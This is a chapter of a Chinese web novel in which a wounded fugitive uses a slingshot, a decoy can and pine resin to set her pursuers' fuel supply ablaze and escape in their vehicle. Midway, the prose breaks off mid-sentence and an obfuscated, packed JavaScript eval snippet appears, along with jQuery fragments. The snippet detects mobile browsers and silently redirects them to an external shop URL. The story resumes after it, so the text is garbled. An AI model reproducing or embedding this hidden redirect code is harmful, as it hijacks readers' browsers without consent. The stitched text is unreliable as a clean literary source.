29. 第二十九章 后勤绞索
作品:《舞蜕·霓裳狱》 冰冷的泥浆外壳早已被体温烘干,结成一层龟裂的硬壳,紧贴在张怡的皮肤上,每一次细微的动作都带来摩擦的刺痛,如同穿着粗糙的砂纸。她缓缓地、极其谨慎地从板根夹角深处那堆腐败的落叶泥壳中剥离出来,动作慢得如同冰层下的水流。肋下的剧痛并未因长时间的蛰伏而缓解,反而在高烧的烘烤下,化作一团持续燃烧、深入骨髓的烙铁,每一次呼吸都牵扯着撕裂般的灼痛,让她不得不咬紧牙关,将闷哼死死压在喉咙深处。视野依旧在清晰与模糊间反复跳跃,雨林浓密的绿意在眼前晕染、晃动,像一幅被水浸透的油画。眩晕感如同跗骨之蛆,稍不留神就试图将她拖入黑暗。
她强迫自己将最后几片苦涩的苦艾草叶塞入口中,用力咀嚼。那霸道的苦味瞬间在口腔炸开,带来一阵强烈的恶心,但也有效地压制了喉咙深处蠢蠢欲动的咳嗽和因高烧引起的阵阵作呕。身体的每一块肌肉都在酸痛中哀鸣,长时间维持僵卧姿势带来的麻木尚未完全消退,双腿沉重得像灌满了铅水。饥饿感像一只无形的手,紧紧攥着她的胃袋,空荡荡的灼烧感混合着肋下的疼痛,形成双重煎熬。干渴更是让她的嘴唇裂开细小的血口,喉咙里如同塞满了滚烫的沙砾。
然而,那双深潭般的眼睛,在昏暗中却锐利如初,穿透雨林层层叠叠的枝叶,精准地锁定了目标——护林屋。
那座废弃的木屋,如同一个疮疤,突兀地镶嵌在雨林边缘一片被砍伐出的空地上。距离她潜伏的板根迷宫约三百米。空地上残留着几截发黑的树桩,空地边缘,靠近密林的一侧,停着一辆沾满泥浆的深绿色“山猫”全地形车,车斗里胡乱堆放着几个木箱和鼓鼓囊囊的帆布袋。更醒目的是木屋门前空地上堆放的物资:两个半人高的绿色金属油桶,三个刷着暗红色十字标记、用铁条加固的弹药箱,以及一堆散落在地上的罐头。简陋,但对于一支疲于奔命、补给线拉长的小队而言,这就是生命线。
木屋本身破败不堪,窗户大多破损,用木板胡乱钉着。门口燃着一堆篝火,火焰在潮湿的空气中挣扎跳跃,散发出微弱的光和热量。两个穿着破烂军服、抱着步枪的哨兵,正无精打采地靠在门廊腐朽的柱子上,脑袋一点一点地打着瞌睡。篝火的光芒勉强勾勒出他们脸上深重的疲惫和麻木。木屋里隐约传出响亮的鼾声,此起彼伏,显然另外两人正在酣睡。
岩坎和他的残兵,如同被拔掉毒牙的蛇,蜷缩在这里舔舐伤口,恢复体力。他们的状态,比张怡预估的还要不堪。
一个大胆到近乎疯狂的计划,瞬间在张怡因高烧而滚烫的脑海中成型——不是逃跑,而是反击!用最小的代价,勒紧套在他们脖子上的后勤绞索,逼他们自己走向崩溃!
第一步:侦察与准备。
她像一抹融入夜色的青烟,借着高大蕨类植物和巨大板根的掩护,朝着护林屋方向无声潜行。每一步都踩在厚实的腐殖层或裸露的树根上,避免发出任何声响。肋下的剧痛让她额头渗出细密的冷汗,视野的模糊增加了判断障碍物的难度,但她凭借惊人的空间感和本能,在幽暗的林间穿行,如同行走在自己熟悉的庭院。
她最终在距离护林屋空地边缘约一百米、一处被浓密藤蔓和巨大芭蕉叶遮蔽的洼地停了下来。这里地势略高,透过藤蔓的缝隙,可以清晰地观察到空地上的篝火、哨兵、物资堆,甚至能看到木屋门内一小块地板和一只随意丢弃的破军靴。山猫全地形车静静地趴在空地边缘的阴影里,距离她更近,大约只有六十米。
她放下沉重的SVD狙击步枪,小心地隐藏好。现在不需要它,需要的是更原始、更隐蔽的工具。她的目光在周围搜寻。
声东的道具:几个被雨水冲刷干净的、印着模糊外文字母的空罐头盒,就散落在洼地下方不远处的溪流边(显然是追兵丢弃的)。她悄无声息地滑下去,捡起三个。
击西的武器:一根坚韧、弹性极佳的“Y”字形树杈,被遗弃在灌木丛中,显然是追兵砍柴时削下的废料。一小截坚韧的□□绳(从峡谷吉普车残骸附近捡拾)。她将绳子两端牢牢系在树杈的两个分叉顶端,一个简易却致命的弹弓架瞬间成型。
火攻的燃料:洼地边缘,一棵枯死倾倒的松树,断裂处渗出的松脂在空气中氧化凝固,形成半透明、琥珀色的硬块,散发着浓郁的松香气味。这是绝佳的天然助燃剂。她用磨利的石片小心地刮下一大块粘稠的松脂,放在一片宽大的树叶上备用。
弹药:溪流边遍布着大小适中、圆润坚硬的鹅卵石。
第二步:编织绞索——声东击西。
她拿起一个空罐头盒,用□□绳的一端紧紧系住罐头盒的拉环开口处。另一端则系在一块拳头大小、沉甸甸的石头上。她如同最耐心的猎人,拖着这套装置,逆着溪流的方向,向上游悄无声息地移动了大约三十米。这里有一处水流相对湍急的小落差,下方形成一个浑浊的小水潭。
她将石头轻轻放入溪流中,让系着罐头的绳子自然垂落。罐头盒一半浸在水里,随着水流微微晃动。她选好位置,将绳子另一端在一块水中的大石头上绕了两圈,暂时固定住。
接着,她回到潜伏的洼地,拿起那个简易弹弓。她挑选了几颗大小均匀、分量趁手的鹅卵石,放在触手可及的位置。然后,拿起一块松脂,用石片刮下粘稠的部分,均匀地涂抹在另一颗鹅卵石的表面,让它变成一颗散发着危险气息的“松脂火弹”。准备工作完成。
时间仿佛凝固。篝火旁,一个哨兵似乎被跳动的火焰惊扰,换了个姿势,脑袋歪在另一边,鼾声轻微响起。木屋里的鼾声依旧响亮。只有溪流的潺潺声和篝火燃烧的噼啪声在夜色中交织。
张怡深吸一口气,肋下的剧痛让她微微蹙眉。她左手稳稳握住弹弓的“Y”形木柄,右手拇指和食指捏住一颗光滑的鹅卵石,嵌入□□绳的皮兜中央。冰冷的石头触感让她精神一振。她缓缓拉开皮筋,坚韧的□□绳被拉长,发出极其轻微的、如同弓弦绷紧的“嘣”声。她眯起眼,视线穿透藤蔓的缝隙,越过六十米的黑暗,牢牢锁定在空地上其中一个油桶那略显锈蚀、微微凸起的圆形桶盖中心点。高烧带来的视野模糊被她强行压制,此刻她的眼中只有目标。
“就是现在。”
心中默念,捏着石弹的右手猛地松开!
“咻——!”
一声短促尖锐、如同毒蛇吐信的破空声撕裂了夜的寂静!那颗坚硬的鹅卵石,在弹弓赋予的强大动能推动下,化作一道肉眼几乎无法捕捉的灰影,瞬间跨越六十米的距离!
“当!!!”
一声极其响亮、如同洪钟被敲响的金属撞击声,在寂静的护林屋空地上猛然炸开!声音在空旷地带被放大了数倍,震得人耳膜嗡嗡作响!
精准命中!
那颗石弹不偏不倚,狠狠地砸在油桶桶盖与桶身的结合缝隙边缘!巨大的冲击力让锈蚀的金属瞬间变形、撕裂!一个拳头大小的豁口赫然出现!
“噗嗤——!!!”
粘稠的、散发着浓烈刺鼻气味的柴油,如同压抑已久的黑色喷泉,带着巨大的压力,从破口处猛烈地喷射而出!油柱足有半米高,哗啦啦地浇在冰冷的地面上,迅速蔓延开一片散发着危险光泽的油污地带!浓烈的柴油味瞬间盖过了篝火的烟火气,弥漫开来!
“什么声音?!” “敌袭!!” 门口两个被金属巨响惊得魂飞魄散的哨兵,如同被踩了尾巴的猫,猛地从半睡半醒中跳了起来!睡意瞬间被巨大的惊恐驱散,他们手忙脚乱地端起枪,惊恐万状地四处张望,枪口胡乱地指向周围的黑暗丛林,身体因为恐惧而剧烈颤抖。
几乎就在油桶被击穿、哨兵惊叫的同一刹那!
张怡的左手,如同闪电般挥下,割断了上游那块固定石头的□□绳!
系着空罐头的绳子瞬间失去一端的束缚!浸在水中的空罐头盒,在湍急水流和下方坠石的重力拉扯下,猛地被拽入水潭深处,发出“咕咚”一声沉闷的巨响!紧接着,石头带着罐头盒在水流中翻滚、撞击河床的石块,发出一连串“哗啦、哐啷”的噪音,在寂静的溪谷中回荡,听起来活像有人在慌乱中涉水狂奔!
“那边!水里有动静!” 一个哨兵如同抓住了救命稻草,立刻将枪口和手电光(光线已经非常暗淡)猛地转向溪流上游发出噪音的方向,声嘶力竭地喊道,“有人渡河!在那边!快追!”
另一个哨兵也下意识地将注意力完全投向溪流方向,紧张地拉动枪栓,似乎随时准备开火。
木屋里的鼾声戛然而止!里面传来一阵慌乱的碰撞声和叫骂:
“怎么了?!”
“枪声?!”
“快起来!敌袭!”
岩坎那嘶哑而暴躁的声音也从屋里传出来:“妈的!抄家伙!外面什么情况?!”
门口的两个哨兵此刻所有的注意力都被溪流方向的“涉水声”吸引,背对着物资堆和正在喷涌柴油的油桶,朝着溪流方向紧张地张望,对着黑暗的丛林胡乱比划着枪口,大声吆喝:“出来!看见你了!”“再不出来开枪了!”,试图给自己壮胆,也为屋里的同伴争取时间。
完美的破绽!致命的空档!
张怡的嘴角,在黑暗中勾起一丝冰冷到极致的弧度。她的动作没有丝毫停顿,如同最精密的杀戮机器进入下一个程序。右手闪电般抓起那颗早已准备好的、表面涂满了粘稠琥珀色松脂的鹅卵石,稳稳嵌入弹弓皮兜。
拉弓!瞄准!
目标不再是油桶,而是篝火!是那堆在夜风中摇曳、火星四溅的篝火边缘,几块烧得通红的木炭!
皮筋被拉至极限,□□绳发出不堪重负的微鸣。
松手!
“咻——!”
第二颗石弹,拖着淡淡的松香气味,撕裂空气,精准无比地射向篝火堆!
“啪!”
石弹准确地撞在一块边缘燃烧得最旺、温度最高的木炭上!撞击的瞬间,裹在石弹表面的粘稠松脂,在数百摄氏度的高温下,如同被点燃的火药,“呼”地一声猛烈燃烧起来!那颗石头瞬间变成了一颗熊熊燃烧的小火球!撞击的力量让它带着燃烧的松脂,翻滚着弹跳起来,划过一个炽热的、致命的弧线,不偏不倚,正正落入了那片在空地上肆意流淌、散发着浓烈气味的柴油油污中心!
“轰——!!!”
仿佛地狱之火被瞬间召唤!燃烧的石弹如同投入油锅的火种,接触柴油的刹那,一片巨大、明亮的橘黄色火焰,如同怒放的地狱之花,猛地从地面升腾而起!火舌发出贪婪的咆哮,顺着流淌的柴油轨迹,以惊人的速度蔓延,瞬间就舔舐到了那个仍在不断喷涌燃料的油桶破口!
“呼——!!!”
油桶的豁口处,喷涌而出的不再是黑色的油柱,而是一道粗壮、炽烈、咆哮着的火焰之龙!烈焰腾空而起,发出震耳欲聋的呼啸!火光瞬间将整个护林屋空地照得亮如白昼!浓烟滚滚升腾!
“火!油桶着火了!快救火啊!” 正对着溪流方向警戒的哨兵被身后骤然爆发的光亮和灼热气浪吓得魂飞魄散,回头一看,顿时发出杀猪般的惨叫!
“我的妈呀!” 另一个哨兵更是吓得直接丢了枪,连滚爬爬地想找东西扑火,却一脚踩在流淌的柴油上,滑倒在地,沾了满身的油污,吓得魂飞魄散。
木屋的门被猛地撞开!岩坎第一个冲了出来,只穿着脏污的汗衫,手里提着枪,脸上还带着睡意和惊怒。当他看到门口那冲天而起的烈焰和满地流淌的火蛇时,瞳孔瞬间缩成了针尖!
“蠢货!快扑火!用土!沙子!别他妈用水!” 岩坎反应还算快,嘶声力竭地吼道,自己也冲过去,疯狂地用脚去踢地上的泥土,试图覆盖火源。
另外两个士兵也衣衫不整地冲了出来,睡眼惺忪瞬间被眼前的火海和灼热驱散,只剩下无边的惊恐。
“沙土!快找沙土!”
“被子!用被子盖!”
“小心弹药箱!快把弹药箱搬开!”
场面彻底失控!烈焰贪婪地蔓延,火舌已经舔舐到了堆放在油桶不远处的几个弹药箱的底部!帆布和木头在高温下开始冒烟、卷曲!这个发现让所有人亡魂皆冒!
“弹药箱!快搬走!” 岩坎目眦欲裂,声调都变了。他丢下扑火的念头,和另一个士兵扑向那三个沉重的弹药箱。两人合力抬起
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17218571|197468||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一个箱子,沉重无比,脚步踉跄地向远离火源的空地边缘拖去。汗水混合着烟灰,瞬间浸透了他们的衣服。
第三个士兵则抓起一条脏兮兮的毯子,试图去扑打油桶豁口喷出的火焰,这无异于火上浇油!毯子瞬间被点燃,变成一团巨大的火球,吓得他尖叫着把燃烧的毯子甩了出去!
不偏不倚,燃烧的毯子如同火流星般,飞向了靠近木屋门廊附近的一个士兵——正是之前踩到油滑倒的那个倒霉蛋!他刚刚挣扎着爬起来,惊魂未定,就看到一团巨大的火焰朝着自己当头罩下!
“啊——!!!” 凄厉到非人的惨嚎瞬间划破夜空!燃烧的毯子将他整个上半身裹住!火焰瞬间吞噬了他的头发、眉毛、衣服!他像一个人形火把,惨叫着在地上疯狂地翻滚、扑打,试图压灭身上的火焰,却只是徒劳地引燃了身下干燥的杂草和门廊腐朽的木头!一股皮肉烧焦的恶臭弥漫开来!
“阿泰!!” 正在奋力搬运第二个弹药箱的岩坎看到这一幕,目眦欲裂,却又分身乏术!
“水!水!给我水!” 被火焰吞噬的阿泰惨嚎着,本能地朝着他记忆中溪流的方向,带着满身的火焰,跌跌撞撞地冲去!他成了一个移动的火源,所过之处,留下燃烧的足迹!
“拦住他!别让他靠近弹药!” 岩坎绝望地嘶吼。
剩下的那个士兵(之前拿毯子的)已经完全吓傻了,呆立在原地,看着如同地狱恶鬼般冲过来的火人阿泰,□□处迅速湿了一大片。
混乱!彻底的、歇斯底里的混乱!烈焰的咆哮、伤者的惨嚎、指挥的怒吼、惊恐的尖叫、弹药箱被沉重拖拽摩擦地面的刺耳声、木头被引燃的噼啪声……所有声音混合在一起,奏响了一曲绝望的后勤绞索之歌。火光映照着每一张因恐惧和烟灰而扭曲的脸庞。
而在这场由她自己亲手点燃、并精准操控的混乱风暴中心,张怡那双深潭般的眼睛,如同冰封的湖面,不起一丝波澜。她的目光,如同最精准的探针,穿透摇曳的火光和混乱的人影,死死锁定在空地的边缘——那辆深绿色的“山猫”全地形车。
时机到了!
就在岩坎和另一个士兵奋力将最后一个弹药箱拖离火源,累得气喘吁吁、弯腰咳嗽的瞬间;就在那个吓傻的士兵被满地打滚的火人阿泰逼得连连后退,尖叫着躲避的瞬间;就在所有人的注意力都被火焰、惨叫和沉重的弹药箱牢牢吸引的瞬间——
张怡动了!
她如同潜伏已久的猎豹,从洼地的藤蔓阴影中猛地窜出!没有冲向混乱的中心,而是沿着空地边缘最浓重的阴影地带,压低身体,朝着那辆山猫车疾速冲刺!肋下的剧痛在奔跑中被强行压制,高烧带来的眩晕被冰冷的意志驱散,她的目标只有一个——驾驶座!
六十米的距离,在求生本能的驱动下,转瞬即至!
她如同鬼魅般闪到山猫车旁,冰冷的金属车身触手可及。她的目光闪电般扫向驾驶座——钥匙!那串象征着疏忽大意的钥匙,正静静地插在点火开关上,在车外熊熊火光的映照下,反射着诱人的、金属的冷光!
没有丝毫犹豫,她猛地拉开车门,身体如同泥鳅般滑入驾驶座!沉重的SVD狙击步枪被顺手扔在副驾驶座位上,发出沉闷的撞击声。
右手拧动钥匙!
“咔哒…嗡…轰!” 引擎发出一声顺畅的低吼,瞬间启动!仪表盘亮起幽绿的光芒。
左手猛地挂入倒挡(R档)!
右脚狠狠踩下油门!
“呜——!!!”
山猫车强劲的引擎发出暴躁的咆哮!宽大的越野轮胎在原地疯狂空转,卷起漫天泥浆和草屑!车身猛地向后一挫!
这突如其来的、近在咫尺的巨大引擎轰鸣声,如同惊雷般在混乱的空地上炸响!
正弯腰喘息的岩坎猛地抬头,充血的眼睛瞬间捕捉到了那辆正在疯狂倒车、试图冲出空地边缘的山猫车!以及驾驶座上那个在火光映照下、苍白而冰冷如刀削般的侧脸!
“是她!!” 岩坎发出了一声混合着极度震惊、狂怒和绝望的嘶吼,如同受伤的野兽!他几乎是本能地抬起手中的自动步枪,朝着山猫车疯狂扫射!“拦住她!开枪!打死她!!”
“哒哒哒哒——!!”
灼热的子弹如同飞蝗,瞬间打在车身钢板上,迸溅出耀眼的火花!后窗玻璃“哗啦”一声爆碎!
然而,太迟了!
在岩坎抬枪的瞬间,张怡的右脚已经从油门瞬间移到了刹车上,同时左手闪电般将档位从倒挡(R)推入前进挡(D)!方向盘猛地向右打死!
“嘎吱——!!”
山猫车在泥地上发出刺耳的摩擦尖啸!车身在巨大的惯性下甩出一个凌厉的漂移,车头瞬间由倒车姿态调转,对准了空地边缘通往雨林深处的小径!排气管喷出浓黑的尾气!
“轰——!!”
油门再次被狠狠踩到底!山猫车如同被激怒的钢铁野兽,四个宽大的轮胎疯狂刨抓着泥泞的地面,卷起半米高的泥浪,咆哮着冲进了空地边缘浓密的灌木丛!坚韧的枝条和藤蔓被车头防撞杠毫不留情地撞断、碾碎,发出噼里啪啦的爆响!车身剧烈颠簸着,瞬间消失在黑暗茂密的雨林之中!
“追!!给我追!!” 岩坎暴跳如雷,端着枪冲到空地边缘,对着山猫车消失的方向疯狂扫射,直到弹匣打空,发出“咔咔”的空响。子弹徒劳地射入黑暗的丛林,连一点涟漪都未能激起。只有车尾灯那一点微弱的红光,在浓密的枝叶缝隙间闪烁了几下,便彻底消失不见。
身后,是依旧在燃烧的油桶,是满地流淌的火焰,是空气中弥漫的柴油焦臭和皮肉烧焦的恶臭,是弹药箱旁惊魂未定、瘫坐在地的士兵,是溪流边渐渐微弱下去的阿泰的呻吟……
岩坎握着滚烫的枪管,站在空地边缘,望着张怡消失的方向,身体因为极致的愤怒和一种深入骨髓的寒意而剧烈地颤抖着。火光映照着他扭曲的脸,上面写满了失败和一种难以言喻的恐惧。绞索已经勒紧,后勤命脉被一刀斩断。在这片无边无际的雨林里,猎手与猎物的天平,已经彻底逆转。他仿佛看到了将军暴怒的脸和冰冷的枪口。

